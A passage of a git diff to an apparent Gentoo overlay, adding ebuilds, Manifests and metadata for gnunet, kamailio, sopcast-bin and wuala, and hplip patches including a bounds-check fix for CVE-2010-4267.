's:@GN_USER_HOME_DIR@:/etc:g' src/include/gnunet_directories.h.in + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + myconf=" --with-sudo" + use mysql || myconf="${myconf} --without-mysql" + use postgres || myconf="${myconf} --without-postgres" + econf \ + $(use_enable nls) \ + ${myconf} || die "econf failed" + emake -j1 || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" -j1 install || die "make install failed" + dodoc AUTHORS ChangeLog INSTALL NEWS README + docinto contrib + dodoc contrib/* + newinitd "${FILESDIR}"/${PN}.initd-0.9.0v2 gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd "${D}"/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet + + ewarn "This ebuild is HIGLY experimental" +} diff --git a/net-p2p/gnunet/gnunet-0.9.5a.ebuild b/net-p2p/gnunet/gnunet-0.9.5a.ebuild new file mode 100644 index 00000000..eb1ab828 --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.9.5a.ebuild @@ -0,0 +1,82 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=2 + +inherit eutils autotools + +MY_PV="${PV/_/}" + +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://ftp.gnu.org/gnu/gnunet/${PN}-${MY_PV}.tar.gz" +#tests don't work +RESTRICT="test" + +IUSE="mysql nls sqlite postgres" +KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" +S="${WORKDIR}/${PN}-${MY_PV}" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.6.1 + >=dev-libs/gmp-4.0.0 + sys-libs/zlib + net-misc/curl + sys-apps/sed + mysql? ( >=virtual/mysql-5.1 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext ) + >=net-libs/libmicrohttpd-0.9.18 + dev-libs/libunistring + >=sci-mathematics/glpk-4.45" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd + enewuser gnunetd -1 -1 /dev/null gnunetd +} + +src_prepare() { + sed -i 's:@GN_USER_HOME_DIR@:/etc:g' src/include/gnunet_directories.h.in + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + myconf=" --with-sudo --with-nssdir=/usr/lib" + use mysql || myconf="${myconf} --without-mysql" + use postgres || myconf="${myconf} --without-postgres" + econf \ + $(use_enable nls) \ + ${myconf} || die "econf failed" + emake -j1 || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" -j1 install || die "make install failed" + dodoc AUTHORS ChangeLog INSTALL NEWS README + docinto contrib + dodoc contrib/* + newinitd "${FILESDIR}"/${PN}.initd-0.9.0v2 gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd "${D}"/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet + + ewarn "This ebuild is HIGLY experimental" +} diff --git a/net-p2p/gnunet/metadata.xml b/net-p2p/gnunet/metadata.xml new file mode 100644 index 00000000..f7789b68 --- /dev/null +++ b/net-p2p/gnunet/metadata.xml @@ -0,0 +1,9 @@ + + + + no-herd + + ycarus@zugaina.org + Ycarus + + diff --git a/net-p2p/kamailio/Manifest b/net-p2p/kamailio/Manifest new file mode 100644 index 00000000..e3add046 --- /dev/null +++ b/net-p2p/kamailio/Manifest @@ -0,0 +1 @@ +EBUILD kamailio-9999.ebuild 584 SHA256 19871cbeb6403a5404166eb8b3760543a927f0238e521bc59f24f2e6bc4a0f8e SHA512 530b49431db877fbff5f4ba36624514d232d596667ee03999b5f9d071180efb3dccfc7ea4ad3ddbea0209d6fc2a6dda01a775b90a778cd5669bc577f9601971d WHIRLPOOL d2656c768546e7d300055c10c3d9c44bb20c2beafa8332da98ae6919b7e5d8fdae17ea32b4b5c766ab3e0e6becf3c1ebaf7665daa06cdc48c852a3ba3bf84376 diff --git a/net-p2p/kamailio/kamailio-9999.ebuild b/net-p2p/kamailio/kamailio-9999.ebuild new file mode 100644 index 00000000..dd40d4dc --- /dev/null +++ b/net-p2p/kamailio/kamailio-9999.ebuild @@ -0,0 +1,29 @@ +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="5" + +inherit git-2 autotools + +DESCRIPTION="fuse module for access to iphone and ipod touch without jailbreak" +HOMEPAGE="http://www.kamailio.org/w/" +EGIT_REPO_URI="git://git.sip-router.org/kamailio" + +LICENSE="GPLv2" +SLOT="0" +KEYWORDS="~x86 ~amd64" +IUSE="" + +DEPEND="" +RDEPEND="${DEPEND}" + +S="${WORKDIR}" + +src_unpack() { + git-2_src_unpack + die +} + +src_install() { + emake DESTDIR="${D}" install || die "install failed" +} diff --git a/net-p2p/sopcast-bin/Manifest b/net-p2p/sopcast-bin/Manifest new file mode 100644 index 00000000..d00de8fd --- /dev/null +++ b/net-p2p/sopcast-bin/Manifest @@ -0,0 +1,3 @@ +DIST sp-auth-3.2.6.tar.gz 345856 SHA256 6ea333b51898ee61f37903f20503358e8ee328cbd8b49d910fa7e0f23bf8a4a0 SHA512 9d9c547df24b30ffe7ee33d0783005eff3f8b90d0955f58faa8380102e10de8f9ab6098ff53ecacaa3c275bf7b206b98f6ae9a365abb362531a3d28888e666af WHIRLPOOL 21b7269c41e43ec292302bca97bf9d65f506649aaed751fe2777199cf866e94cdd324294d60a1c24202eb2e973214406f167b50cfb55282289b301ca3d9c4e0b +EBUILD sopcast-bin-3.2.6.ebuild 820 SHA256 69cc95a86e84dea8704a6e2888352e7662bd43797cc2c94e1df951951c7cac03 SHA512 0087c8d79ac131b1f341b76269973b05cc7f7485abfd391c674a4e79dd4a09daa3401ffc8b96a32a1c6b2acee6be84ec8ddac211a917e09cf0e3a22cfd401cb4 WHIRLPOOL 615b3c7b3e7465d7564fc177644e2db8e0e77782988dee9105ff75805f8046f693ebaf85ec42202f4665a73e77c49ca8b9dbae7b9e1590c28c94616af8c7d0e3 +MISC metadata.xml 247 SHA256 883dd20701cb074b79a6a73acfa6f7e6c5a0dcafba8f506da3ac324327300d68 SHA512 e0386643908a6a23a6d064d752ea283fa16a243abf8e6ba19636e8702435ffd9c3c215f5cd9f60517ea63eb4d9112fd7291e1f422f96d70fad7ce7d2af1af718 WHIRLPOOL 0301b1dac67e156eaa7fbdeb66d0046d49a02095522c186566b92fc1f8bbc495880b5fac3793a6af9f5804a28ada22da789ceb605226203ad1a8690db7341dc1 diff --git a/net-p2p/sopcast-bin/metadata.xml b/net-p2p/sopcast-bin/metadata.xml new file mode 100644 index 00000000..1b81a17b --- /dev/null +++ b/net-p2p/sopcast-bin/metadata.xml @@ -0,0 +1,10 @@ + + + + + + lazy_bum@o2.pl + Piotr Szymaniak + + + diff --git a/net-p2p/sopcast-bin/sopcast-bin-3.2.6.ebuild b/net-p2p/sopcast-bin/sopcast-bin-3.2.6.ebuild new file mode 100644 index 00000000..94bcede2 --- /dev/null +++ b/net-p2p/sopcast-bin/sopcast-bin-3.2.6.ebuild @@ -0,0 +1,35 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=2 + +inherit eutils + +MY_P="sp-auth" + +DESCRIPTION="SopCast free P2P Internet TV binary" +LICENSE="SopCast-unknown-license" +HOMEPAGE="http://www.sopcast.com/" +SRC_URI="http://sopcast-player.googlecode.com/files/${MY_P}-${PV}.tar.gz" + +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +QA_PRESTRIPPED="opt/${PN}/${PN}" + +# All dependencies might not be listed, since the binary blob's homepage only lists libstdc++ +RDEPEND="amd64? ( app-emulation/emul-linux-x86-compat ) + x86? ( >=virtual/libstdc++-3.3 )" + +DEPEND="${RDEPEND}" + +S=${WORKDIR}/${MY_P} + +src_install() { + exeinto /opt/${PN} + newexe sp-sc-auth ${PN} || die "newexe failed" + dosym /opt/${PN}/${PN} /usr/bin/${PN} + dodoc Readme || die "dodoc failed" +} diff --git a/net-p2p/wuala/Manifest b/net-p2p/wuala/Manifest new file mode 100644 index 00000000..1779c9ac --- /dev/null +++ b/net-p2p/wuala/Manifest @@ -0,0 +1,2 @@ +DIST wuala.tar.gz 321761 SHA256 c4f8b763db67670505a54d2b227891fd2ed4a73717b473d0c3b201de51afdedc SHA512 130f77843fc835e2a2b3b70bccdbf74439e5008f03c92a3ccc934be0aabdace145f02165f27fc49809849eabc9cc66b18d05921669475350bf58f02d828dd91d WHIRLPOOL c3a7ac54885109df869434ecdafc782c8b25fc01aea85ea67148cb1bf9d7a6d0f3f900943450cad4220a4adb522d3dfb584eb9b8b68fce57372ed470b56e6f3d +EBUILD wuala-0_pre20120716.ebuild 757 SHA256 d09d26b719e08077c491ebe249fec118f0a8ea6192e33c533770c28a899b2e42 SHA512 cb64141db9538a417d77325b6940084951385d79790c65748a718b24240fdafe2b4dd3f0111d8b8366981908ca2f9687e1c276e74acf48f52f8fde917e7d4e4a WHIRLPOOL 039ef7a6bd03dc7b10a9aad500856b45eac47db072f95593dba528643e08980ea07b8fceee2f300ba0566c2a25e60def8c1c9a5966524cd5af2dcc69e38654fe diff --git a/net-p2p/wuala/wuala-0_pre20120716.ebuild b/net-p2p/wuala/wuala-0_pre20120716.ebuild new file mode 100644 index 00000000..3e8f3674 --- /dev/null +++ b/net-p2p/wuala/wuala-0_pre20120716.ebuild @@ -0,0 +1,39 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +DESCRIPTION="Wuala, your free online hard-disk" +HOMEPAGE="http://wuala.com/" +SRC_URI="http://cdn.wuala.com/repo/other/wuala.tar.gz" + +LICENSE="wuala" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND="" +RDEPEND="sys-fs/fuse + >=virtual/jre-1.5.0" + +S="${WORKDIR}/${PN}" + +src_prepare() { + sed -i wuala -e 's|loader3\.jar|/opt/wuala/loader3.jar|' + sed -i wualacmd -e 's|\./wuala|/opt/bin/wuala|' +} + +src_install() { + dodir "/opt/${PN}" + + insinto "/opt/${PN}" + doins loader3.jar + + exeinto "/opt/${PN}" + doexe wuala wualacmd + dosym "/opt/${PN}/wuala" "/opt/bin/wuala" + dosym "/opt/${PN}/wualacmd" "/opt/bin/wualacmd" + + dodoc readme.txt +} diff --git a/net-print/hplip/Manifest b/net-print/hplip/Manifest new file mode 100644 index 00000000..d7f98c2a --- /dev/null +++ b/net-print/hplip/Manifest @@ -0,0 +1,22 @@ +AUX hplip-3.10.9-cve-2010-4267.patch 405 SHA256 2280fb55a03d61edbd8ff928ae016c2e58e77bede83226f3d8e627e95fa6103f SHA512 25d17a65008b99fe9fc12d3a2698ec84afda96d728b184cf904fea22641b073450f1e0522d7e002b22d4c2768591cf6cb5a585a9828960ad1484a6ffda83f7b9 WHIRLPOOL 7dcf0aa4f58ef388d2edc973456b8deaca62aa5a9838b42deddc29b837326256ef774d3845f56e14b4dc035205c3de37d2be37ca09df88f14186992dfa4645c7 +AUX hplip-3.11.1-desktop.patch 506 SHA256 557faf17a05f3707e2918673ed5eff56954feab0d5555b535236c938306f4523 SHA512 64bf8e15dc3e2c7c26e599c8f69c67c169b5d422c3e668320810470bb6f1c4c7e47158efd7e1a27b9161b13e4b3df98af7ab52e47e11c92ac6d5a79437159291 WHIRLPOOL 8f085f996ce06ccccf20cfbd82bb42f1bc846d7568d6f1bbae3a85b9e8115fa93cdf2085a558cd21a98b5e6654fb0487fa676d6ed6cc6d83f2e70bc80e971c27 +AUX hplip-3.11.1-htmldir.patch 4470 SHA256 30185a66b033dfdf0db59e600b19454c7680f3fa09ea8c24adf0fff19c15585e SHA512 886426731959a5e8453a8fd2676563a143183c2ecb030cf58d07aa506088b01c2148b607304055451a26ec8d1228dcad986c1641bf8dfb51d682f05c11ee8e1a WHIRLPOOL d3ddd311f347e7b6110e8ea3189075cba8484ae6889711c34be204400002b6f8f1b89eaee2ec2d9d60c306d12c9bcb670ac13f296fc1b6fd294deed08fa714ba +AUX hplip-3.11.10-udev-attrs.patch 13895 SHA256 83a7b126877f49fbfb28e5d9df26607e1f165a74a865030023c081c60e7256cd SHA512 f0c84e043c20eabe009eaee04785cb5969df56d2e7ec7e72860f3b727c8a4f7efd6f9b2cf106ea15e223ee3c436a0aba7f462f2c9940367bd09032338c3183cc WHIRLPOOL 566479e5b40bc8c86a87859bb4be5a3d2428907b7582ffbca84dceb95dad3c0bf757efaf1b1a35a29ce75eecd1a3a26559e2f02910812fb71d17dbb7be472b3a +AUX hplip-3.9.10-browser.patch 1447 SHA256 0e3b3b251ff4cf73032f4c78b6c0495b2d95fefd53d9fd8897faf6528ddd2875 SHA512 95d15191193d1cb8da3cab6a6f7748ec56cafba7625ec2e437510c04a46cb2265e03290793315b8eed3d69c481ffaa1b9745946d6f943ff477d0f1f6df4a1c17 WHIRLPOOL e204c62ccc1843d8353e1f7512f33083f7477ab3957f90c54208d1e0b8c3badb25a478e9e2ef4a5fe4350dfc8ebff436f413e9d7eb2c1307f6bdd4cca51d9ea3 +AUX hplip-3.9.12-cupsddk.patch 1265 SHA256 3050221f497c14ae3a7a093043018d55f4deb2b2ebd81840a8285cec4eb7759d SHA512 761ac5f14ca17c3beca6a46c32aafcd5180582d24810b9b2f2c636a19997ae4fe777c011eddfa4a03341854f99c492552d946cc843d2cada05a5d54d2cd61530 WHIRLPOOL 32684fcc8adf2fb0bd2775f98e976a8e04e7e00151b3ab7f3d7c7b0fe67149ad0f7bac7f571c341163266ef94d30dd31ddc80ea5ddab49f257eb2b44220a2a54 +AUX hplip-3.9.12-systray.patch 795 SHA256 a2eee24cefe2f40b81bc735fb528dec932864b083bb0cf1305d5d7a8cc5bd719 SHA512 808795411e334fda023be54b52856d4068c3c016bc1b05eeccf93a24d82c7c9289a2a775017cf2962154a52c5ca19778d075e70f93e07c2e7a03fce30f9322a9 WHIRLPOOL e3d52948ca910077bc588c00303fc7b6b8ec07806a529dd020d03a6d6ab4877f24d4db33b295c95cce7527bbb3622eda6ef57b210859f2cebebba5b05c732d16 +DIST hplip-3.12.10-patches-1.tar.xz 10496 SHA256 7b8f10c1e58ca60778c5c240e51d68472237a45235a03f0b54cd1ffc9dac9632 SHA512 4947077b17bc9f4714302c99917d359cc7dda728393c8fe88d21f26e923dcb5d0535fc56c403920fce359be2951e6ac0c92cb5ba3a659bca452e08f83d8a09a8 WHIRLPOOL f759953c8495eddd0df0bbb3f2ad29e28004659d39f1d415c89604fdebf6729e914ab6830c540ff9c3f693ceb609aff882265bc0ff8a8d1e2637285d7d51158f +DIST hplip-3.12.10.tar.gz 21832868 SHA256 66c159421c6941e20c88e9372ad2885248b0fc0546c1896cfbfce7ff840faa08 SHA512 213c9dc8d4649c08800b68f6acf4bf4e839c6a5e9aba9cc89ab7ca7c3e3bc9a6eadb3354b1fc707e3964871bde2302b71fc71ad7e7c363b9b1aa280dcff22d2b WHIRLPOOL b1845a5603efada201092bfe3aa898465645d1b8d6a0289232ea20f0352aa065c27584425299b5de5eea55085bf717bcc3bb1e8df6dacc88ec239e991a45b1da +DIST hplip-3.12.10a.tar.gz 21827613 SHA256 616a30f260407f959874d35d351eaf73c74f7f8f016a7826286c88d923a4b1fc SHA512 870a794fdd729aa69b392c3d5cba764ee77141be16313adaf43089c82de397b64517e88d986ecc6f1766cdd5381fa103528ee214358e7b9398f7d4bd70d5f33c WHIRLPOOL 45d2831f593b609b4e4e774c0bf446dd98cb8ad4eba797baafbc43d8af4897764973066348dde08f97ae90635becbe3e91419fbc080d4fdb0a3771b8e63d3c89 +DIST hplip-3.12.11.tar.gz 21932088 SHA256 c5b81167b21aa4ee6bdf3f5c120bfa050d0c794608da8bcc32e2580234919ffa SHA512 78593060f60a906e993ed4b2753fc41e7dae7a35a7697b87008b730fb893b3f4c54d488b7bb0d2fca72bd356dc963b2c2ca68c2797c5860f7052141bd0a81ea7 WHIRLPOOL 7983dc0f08ed38e5ae3ac9bde28f900f1315ad6d6cbd5773221799ea6c9ad9225ea35cb5be8537e4f6045b23c56a9e1776b6b337c91b626afa4e91416b830252 +DIST hplip-3.12.4-patches-1.tar.xz 9048 SHA256 88924b3a7bca2350de57e7f1eca5632cb423ea105e8d2f958971d905a3882eba +DIST hplip-3.12.4.tar.gz 20603723 SHA256 350375c78d79adf635a59a448b27b3fe9ab7ac622637c47125fe5f7d8a537fff +DIST hplip-3.12.9-patches-2.tar.xz 10328 SHA256 d992fdf42bbcde92de9f4256308b3b35b74e3fcae50704d59eaf26bd2beab5b4 SHA512 846b9cc96b1eefcbc0960c312a60ab8913b6db109bfa828d19f1e9cdfccc47e193d582767d828437dbebc9ec1c0617a590e8f3f2e744d9f5bddb6056d43fe6a7 WHIRLPOOL 5d63763f11d8f91a6506301ec2c7e37c1f9e5693c83d818f67129a42c7489fd9ed09c0a06f216af72c21f488cefc6f2b455a010fc504e3fc7b12b877190e9d9b +DIST hplip-3.12.9.tar.gz 21314003 SHA256 e7361b9d6e968ce3306dc438e622a4412156e7c2d71b2a6face5952cf52e23c4 SHA512 bf0f498d7516c4b7653799c043dd6336a620be31680e1419bf09f9fd52492fc92f59e030df5110f89615c16d27ecad0169c83c938651a7fa7257057ccf5d30eb WHIRLPOOL 1059cf4216b60752c4f6da299f2dd86bdb26be7171275107280953225a9d1d729b135ba0f7990a8ed757fd52880612718bd846abb68ecbf61652923db88ca425 +EBUILD hplip-3.12.10.ebuild 6751 SHA256 a0b565fa314882106ac0152ba6ef2bb447e59d9ef707146cbfe6fcc153a30c8f SHA512 3d9c7f1c9ad15ebe4427671017c48d65660c2aacd111eac8472604794a64efe2eea19c79d7b96e20358102a1e856064310cb6528026863417d09d0340d59f85a WHIRLPOOL 49dd7fe55155739efdfcec928b72652c060c4e184593bdd82ace30501e683a4c0e904531aad49e25c91630c035fc7d22827de33b27fa90c0038723f4ce5babc9 +EBUILD hplip-3.12.10a-r1.ebuild 7487 SHA256 abc9900e34432a364b5fe001d4621fe3d8bbe1aebe2362cb8556693013caa140 SHA512 e31f446359fadf50279b8553829cc60f3d3c591d113ae87502536b7490954de5be5e51b6df21e86b0fd1e9247e06621f53c357b459b98410fcb44fac5e191d68 WHIRLPOOL d818eb171b39e2b66a60e07c12674138e57b25545f6416c1a832602d1c51d014f5c1994c4e178618c313a57ef57dbbfc93e4e93135c4b29f7fd683e2da029d3f +EBUILD hplip-3.12.10a.ebuild 6905 SHA256 70e29aa04aabc289ec5b927cc5ec9cb6dba24fc0cb2e626489389217d6e10ebe SHA512 741f46330d99ce41cb78036ef4878409fd5c619a5826d935c9712a1e1ec44d9cae336d6de30b34e6aacd3d501e6ba2f786da6de2a9123105c886a5ca883aa977 WHIRLPOOL 19258f9724fdb4a60892595ba0294e192cb778c6bedd7f4d797dd35f664ae84a75c0269e48c3191ff4df8c6ce5ae7e0f2b4c4e6dcde991c489cd785f76509c89 +EBUILD hplip-3.12.11-r1.ebuild 7741 SHA256 5049093454fea62e53143528b35103f2ffea831c3618ddf9071fcdc186d1873c SHA512 ccd89bbff9966b004b105ddfb5a49c5fb75f35a98493b319fb4a6fa864ea63d1fa8200d437274d87a70e9e8dc47fb7006f1a155d53a8fd8cb444df6a14f092cd WHIRLPOOL 02cffdf5b1c0da8b4ab59187c9475418ff51bf2ebe2f6f1564a54fc3594bc0498eb34eb1a4fadc426dbba66d01de0e3c47ba896c9cb73295c7b80d700ecf9ce2 +EBUILD hplip-3.12.11.ebuild 7510 SHA256 8fabb1056c1c2d84ab132ab85dec35f8f27f188dc6290a7cbc6fc1d663fae0a2 SHA512 ca9b2368c7e98346bd33d1db398165e502a231bbc5eda2f84e722a04c1f5bfa6097819b7d1b64686abc5b9d80b233d2d11fd5ad11bda2092cbc88765eb7d0998 WHIRLPOOL b444acb18e4a57972961cac6d6b183af9afd24082a5495520f1110348c3b928f087eb33cd88369632d627a0e6159b0674a4bf9950346f291ef40958ed0cc551a +EBUILD hplip-3.12.4.ebuild 6571 SHA256 6b19b4fc4fabee8417108fad420f06a6e5696dacf2be56e5cca2a1ddf00a8903 SHA512 c9b3d55fd37083043c61d2a6fe4a2fadf04a786d36db02de7f785e6ffac2ed5b4a967040248aa9ecd878c7cf5bbaaa091e97b8ef1ea58896e133c6d2598f981c WHIRLPOOL b515cf171856a7f0e434af172c4cf6d5794faa11afcd5afb5f1b0a9aa18c9394394b8a1448e75355bb7205df2bd68e17be52769040b085286aec62ac6eb4cb37 +EBUILD hplip-3.12.9-r1.ebuild 6691 SHA256 62daa4c6ffa98d7944cbf8923a8b88c9a0b712e89cae12cc852e74f257e1c5a2 SHA512 af3aa9e91e815d88213cdd36a6595c60a61676036d648dd9209dfc538b82221a97af74420e3518d12fd5fb1eb35bc307c6e6404d699c6754abf4903944697433 WHIRLPOOL 8d9520851295dd0f706b14989f889f34b8509572903dfc0bc27c41ed7810927eca5fc5e5e30c0735f2046bd63ad824bdf14a50201a5eb3a18d53f9279cc178f0 diff --git a/net-print/hplip/files/hplip-3.10.9-cve-2010-4267.patch b/net-print/hplip/files/hplip-3.10.9-cve-2010-4267.patch new file mode 100644 index 00000000..3bf6b84f --- /dev/null +++ b/net-print/hplip/files/hplip-3.10.9-cve-2010-4267.patch @@ -0,0 +1,11 @@ +--- hplip-3.10.2.orig/io/hpmud/pml.c 2010-12-06 13:35:12.046894255 -0500 ++++ hplip-3.10.2.orig/io/hpmud/pml.c 2010-12-06 13:34:35.018894207 -0500 +@@ -504,6 +504,8 @@ enum HPMUD_RESULT hpmud_get_pml(HPMUD_DE + p += 2; /* eat type and length */ + } + ++ if (dLen > buf_size) ++ dLen = buf_size; + memcpy(buf, p, dLen); + *bytes_read = dLen; + *type = dt; diff --git a/net-print/hplip/files/hplip-3.11.1-desktop.patch b/net-print/hplip/files/hplip-3.11.1-desktop.patch new file mode 100644 index 00000000..0ed31ec0 --- /dev/null +++ b/net-print/hplip/files/hplip-3.11.1-desktop.patch @@ -0,0 +1,18 @@ +--- Makefile.am.old 2011-01-24 20:40:08.989802335 +0100 ++++ Makefile.am 2011-01-24 20:40:23.913135667 +0100 +@@ -332,6 +332,7 @@ + hppgsz_CFLAGS = $(libapdk_la_CFLAGS) + hppgsz_LDADD = libapdk.la -ljpeg -ldl + ++if GUI_BUILD + # hplip.desktop + hplip_desktopdir = $(icondir) + hplip_desktop_DATA = hplip.desktop +@@ -339,6 +340,7 @@ + # hplip-systray.desktop + hplip_systraydir = $(systraydir) + hplip_systray_DATA = hplip-systray.desktop ++endif + + # hpipjs (CUPS filter) + hplipjsdir = $(cupsfilterdir) diff --git a/net-print/hplip/files/hplip-3.11.1-htmldir.patch b/net-print/hplip/files/hplip-3.11.1-htmldir.patch new file mode 100644 index 00000000..da9a7cba --- /dev/null +++ b/net-print/hplip/files/hplip-3.11.1-htmldir.patch @@ -0,0 +1,109 @@ +diff -Naur hplip-3.11.1-old/configure.in hplip-3.11.1/configure.in +--- hplip-3.11.1-old/configure.in 2011-01-24 20:45:27.429802335 +0100 ++++ hplip-3.11.1/configure.in 2011-01-24 20:48:34.759802335 +0100 +@@ -327,6 +327,9 @@ + AC_ARG_WITH(docdir, AC_HELP_STRING([--with-docdir=DIR], [set hplip documentation directory [default=datadir/doc]]), + hpdocdir=$withval, hpdocdir="$datadir/doc/hplip-$VERSION") + ++AC_ARG_WITH(htmldir, AC_HELP_STRING([--with-htmldir=DIR], [set hplip html documentation directory [default=datadir/doc]]), ++ hphtmldir=$withval, hphtmldir="$datadir/doc/hplip-$VERSION") ++ + AC_MSG_CHECKING([for foomatic ppd install]) + AC_ARG_ENABLE(foomatic_ppd_install, + [ --enable-foomatic-ppd-install enable foomatic static ppd install (default=no), uses hpppddir], +@@ -551,6 +554,7 @@ + AC_DEFINE_DIR([abs_sbindir], [sbindir]) + AC_DEFINE_DIR([abs_hpppddir], [hpppddir]) + AC_DEFINE_DIR([abs_docdir], [hpdocdir]) ++AC_DEFINE_DIR([abs_htmldir], [hphtmldir]) + abs_ppddir=${abs_hpppddir%/*} + AC_DEFINE_DIR([abs_drvdir], [drvdir]) + +@@ -558,6 +562,7 @@ + AC_SUBST(abs_sbindir) + AC_SUBST(abs_hpppddir) + AC_SUBST(abs_docdir) ++AC_SUBST(abs_htmldir) + AC_SUBST(abs_ppddir) + AC_SUBST(abs_drvdir) + AC_SUBST(abs_mimedir) +@@ -568,6 +573,7 @@ + AC_SUBST(cupsfilterdir) + AC_SUBST(hpppddir) + AC_SUBST(hpdocdir) ++AC_SUBST(hphtmldir) + AC_SUBST(drvdir) + AC_SUBST(network_build) + AC_SUBST(pp_build) +diff -Naur hplip-3.11.1-old/hplip.conf.in hplip-3.11.1/hplip.conf.in +--- hplip-3.11.1-old/hplip.conf.in 2011-01-24 20:45:27.429802335 +0100 ++++ hplip-3.11.1/hplip.conf.in 2011-01-24 20:49:25.999802335 +0100 +@@ -9,6 +9,7 @@ + ppd=@abs_hpppddir@ + ppdbase=@abs_ppddir@ + doc=@abs_docdir@ ++html=@abs_htmldir@ + icon=@icondir@ + cupsbackend=@cupsbackenddir@ + cupsfilter=@cupsfilterdir@ +@@ -42,4 +43,4 @@ + lite-build=@lite_build@ + udev-acl-rules=@udev_acl_rules@ + hpcups-only-build=@hpcups_only_build@ +-hpijs-only-build=@hpijs_only_build@ +\ Kein Zeilenumbruch am Dateiende. ++hpijs-only-build=@hpijs_only_build@ +diff -Naur hplip-3.11.1-old/hplip.list.in hplip-3.11.1/hplip.list.in +--- hplip-3.11.1-old/hplip.list.in 2011-01-24 20:45:27.523135669 +0100 ++++ hplip-3.11.1/hplip.list.in 2011-01-24 20:50:25.959802335 +0100 +@@ -49,6 +49,7 @@ + $icondir=@icondir@ + $systraydir=@systraydir@ + $docdir=@hpdocdir@ ++$htmldir=@hphtmldirdir@ + $version=@VERSION@ + $internal_tag=@PACKAGE_BUGREPORT@ + +@@ -257,11 +258,11 @@ + @epm_full@f 644 root root $home/pcard/photocard.py pcard/photocard.py + @epm_full@f 755 root root $home/info.py info.py + # docs +-@epm_full@f 644 root root $docdir doc/* +-@epm_full@d 775 root root $docdir/images - +-@epm_full@f 644 root root $docdir/images doc/images/* +-@epm_full@d 775 root root $docdir/styles - +-@epm_full@f 644 root root $docdir/styles doc/styles/* ++@epm_full@f 644 root root $htmldir doc/* ++@epm_full@d 775 root root $htmldir/images - ++@epm_full@f 644 root root $htmldir/images doc/images/* ++@epm_full@d 775 root root $htmldir/styles - ++@epm_full@f 644 root root $htmldir/styles doc/styles/* + # python commands + @epm_full@l 755 root root $bindir/hp-toolbox ../share/hplip/toolbox.py + @epm_full@l 755 root root $bindir/hp-colorcal ../share/hplip/colorcal.py +diff -Naur hplip-3.11.1-old/Makefile.am hplip-3.11.1/Makefile.am +--- hplip-3.11.1-old/Makefile.am 2011-01-24 20:45:27.429802335 +0100 ++++ hplip-3.11.1/Makefile.am 2011-01-24 20:51:45.893135668 +0100 +@@ -9,6 +9,7 @@ + hplipdir = $(datadir)/hplip + + docdir = $(hpdocdir) ++htmldir = $(hphtmldir) + doc_DATA = COPYING copyright prnt/hpijs/README_LIBJPG + EXTRA_DIST = prnt/hpijs/gdevijs-krgb-1.5-gs8.61.patch prnt/hpijs/README_LIBJPG copyright + +@@ -23,11 +24,11 @@ + + if DOC_BUILD + wwwsrc = doc +-www0dir = $(docdir) ++www0dir = $(htmldir) + dist_www0_DATA = $(wwwsrc)/index.html $(wwwsrc)/commandline.html $(wwwsrc)/copying.html $(wwwsrc)/devicemanager.html $(wwwsrc)/faxtrouble.html $(wwwsrc)/gettinghelp.html $(wwwsrc)/hpscan.html $(wwwsrc)/mainttask.html $(wwwsrc)/plugins.html $(wwwsrc)/print.html $(wwwsrc)/printing.html $(wwwsrc)/printoptions.html $(wwwsrc)/printtroubleshooting.html $(wwwsrc)/scanning.html $(wwwsrc)/scantrouble.html $(wwwsrc)/sendfax.html $(wwwsrc)/setup.html $(wwwsrc)/systray.html $(wwwsrc)/troubleshooting.html $(wwwsrc)/uninstalling.html $(wwwsrc)/upgrading.html +-www3dir = $(docdir)/styles ++www3dir = $(htmldir)/styles + dist_www3_DATA = $(wwwsrc)/styles/* +-www4dir = $(docdir)/images ++www4dir = $(htmldir)/images + dist_www4_DATA = $(wwwsrc)/images/* + endif + diff --git a/net-print/hplip/files/hplip-3.11.10-udev-attrs.patch b/net-print/hplip/files/hplip-3.11.10-udev-attrs.patch new file mode 100644 index 00000000..e57f8f9a --- /dev/null +++ b/net-print/hplip/files/hplip-3.11.10-udev-attrs.patch @@ -0,0 +1,207 @@ +diff -Naur hplip-3.11.10-old/data/rules/55-hpmud.rules hplip-3.11.10/data/rules/55-hpmud.rules +--- hplip-3.11.10-old/data/rules/55-hpmud.rules 2011-10-15 14:11:06.143791977 +0200 ++++ hplip-3.11.10/data/rules/55-hpmud.rules 2011-10-15 14:11:16.083791723 +0200 +@@ -21,128 +21,128 @@ + LABEL="hplip_pid_test" + + # Check for AiO products (0x03f0xx11). +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="??11", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="??11", OWNER="root", GROUP="lp", MODE="660" + + # Check for Photosmart products without wildcard since cameras and scanners also used (0x03f0xx02). + # The xx02 pid has been retired so this explicit list should not change. + 